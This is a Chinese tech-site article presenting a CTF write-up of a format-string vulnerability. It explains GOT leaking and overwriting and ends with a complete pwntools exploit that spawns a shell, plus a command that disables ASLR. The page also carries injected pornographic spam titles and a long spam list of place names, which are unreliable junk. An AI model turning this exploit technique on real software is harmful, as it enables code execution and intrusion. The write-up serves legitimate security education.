亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

PWN 200格式化字符串漏洞的示例分析

發布時間:2022-01-17 10:55:34 來源:億速云 閱讀:137 作者:柒染 欄目:安全技術

PWN 200格式化字符串漏洞的示例分析,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

格式化字符串漏洞原理

pwn題中,有形如下述代碼的形式就是格式化字符串漏洞

char str[100];
scarf("%s",str);
printf(str)

也許使用者的目的只是直接輸出字符串,但是這段字符串來源于可控的輸入,就造成了漏洞。

示例程序如下

 編譯:gcc -m32 -o str str.c輸入%2$x

原因是如果直接printf("占位符")這種形式,就會把棧上的偏移當做數據輸出出來。通過構造格式化串,就可以實現任意地址讀和任意地址寫。

任意地址讀

事實上,我們在scanf(或者read)來輸入字符串的時候,字符串就已經在棧中了,如圖,可以看出偏移為6。如果我們構造出addr(4字節)%6$s,就能讀取這個地址的值了。

我們嘗試一下,輸入AAAA%6$s,當然不可能真的讀到地址為41414141的內存值,不過從下圖我框起來的內容就知道,如果我們輸入一個合法的值,就可以讀了。

任意地址寫

和上面的任意地址讀是同理的,只不過利用了格式化字符串的一個比較冷門的特性,%n。

這個占位符可以把它前面輸出的字符的數量,寫入指定的地址。

比如

printf("abc%n", &val);

val的值就被改變為3,我們一般都用pwntools自帶的fmt_str來生成格式化串

fmt_str(offset,size,addr,target)

offset表示要覆蓋的地址最初的偏移

size表示機器字長

addr表示將要覆蓋的地址

target表示我們要覆蓋為的目的變量值

賽題鏈接

打開IDA跟入調試

形如

char buf[100]
scanf("%s",buf);
printf(buf);

找到格式化字符串漏洞

利用漏洞

checksec查看保護

tips1查看本機ASLR

so地址變動,確定本機開啟了aslr關閉ASLRecho 0 > /proc/sys/kernel/randomize_va_space確認關閉

利用思路

    printf(&buf);
    puts("GET YOUR AGE:\n");
    read(0, &buf, 0x40u);
    if ( atoi(&buf) > 60 )
      puts("OLD MEN!\n");

看到printf(&buf)之后read(buf)atoi(buf)所以我們的思路就是:利用格式化字符串漏洞的任意地址讀,先leak出puts函數的地址puts_addr。利用格式化字符串漏洞的任意地址寫,去將atoi函數在got.plt表中的地址改為system函數的地址,然后通過read去控制buf,傳入"/bin/sh",構造出system("bin/sh"),獲取shell。關于覆蓋got表,不知道為什么的話,參考下面的文章。    https://www.jianshu.com/p/0ac63c3744ddhttp://rickgray.me/use-gdb-to-study-got-and-plt

leak出puts函數的地址

任意地址讀:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html調試找到puts的地址在棧中的位置。

在gdb中調試(這里我使用了gef插件),可以看出地址在7個參數(仔細分析一下AAAA%7$x,把AAAA換掉就是地址,把%x換成%s就可以打印出內容)

計算system地址

libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)

覆蓋got表中atoi的內容為system地址

原理

printf("abc%nabc\n", &val);
printf("val = %d\n", val);

輸出為

abcabcval = 3

這就告訴我們,%n可以把其前面輸出的字符個數,寫入&val指向的地址。如果還不理解的話可以參考:https://ctf-wiki.github.io/ctf-wiki/pwn/fmtstr/fmtstr_exploit.html

http://www.cnblogs.com/Ox9A82/p/5429099.html

之前我們已經調試過了"AAAA"就在第7個參數,所以只需構造{addr}{適當的寫入值}{%7$n}即可。

這里pwntools提供了fmtstr_payload函數來自動生成格式化串。fmtstr_payload(參數偏移,{xxx_got_addr: system_addr})

getshell

exp

# coding:utf-8
from pwn import *
elf = ELF('pwne')
# conn=remote('ip',port)
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# libc=ELF('libc.so.6')
p = process('./pwne')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(p32(elf.got['puts']) + '%7$s')
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# print u32(put_addr)
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u32(puts_addr)
atoi_got_addr = elf.got['atoi']
p.sendline('17')
p.recvuntil('[Y/N]\n')
p.sendline('Y')
p.recvuntil('NAME:\n\n')
p.sendline(fmtstr_payload(7, {atoi_got_addr: system_addr}))
p.recvuntil('GET YOUR AGE:\n\n')
p.sendline('/bin/sh\x00')
p.interactive()

在CTF中,一般使用格式化字符串漏洞的任意地址讀來leak出某函數的got表地址,然后計算出system的地址。

再通過任意地址寫的功能,來覆蓋got表,從而調用system('bin/sh')來getshell。

看完上述內容,你們掌握PWN 200格式化字符串漏洞的示例分析的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

贵州省| 潮州市| 巴彦县| 阿合奇县| 海盐县| 阿尔山市| 阿拉善左旗| 建阳市| 沙雅县| 田阳县| 吉林市| 漾濞| 依安县| 古丈县| 凤山市| 社旗县| 达日县| 门头沟区| 正阳县| 蒙自县| 武山县| 化德县| 二连浩特市| 邛崃市| 乐山市| 东安县| 临朐县| 儋州市| 诸城市| 马鞍山市| 阿城市| 青龙| 察雅县| 兰溪市| 泗阳县| 溧阳市| 广西| 黄冈市| 河北省| 揭西县| 房山区|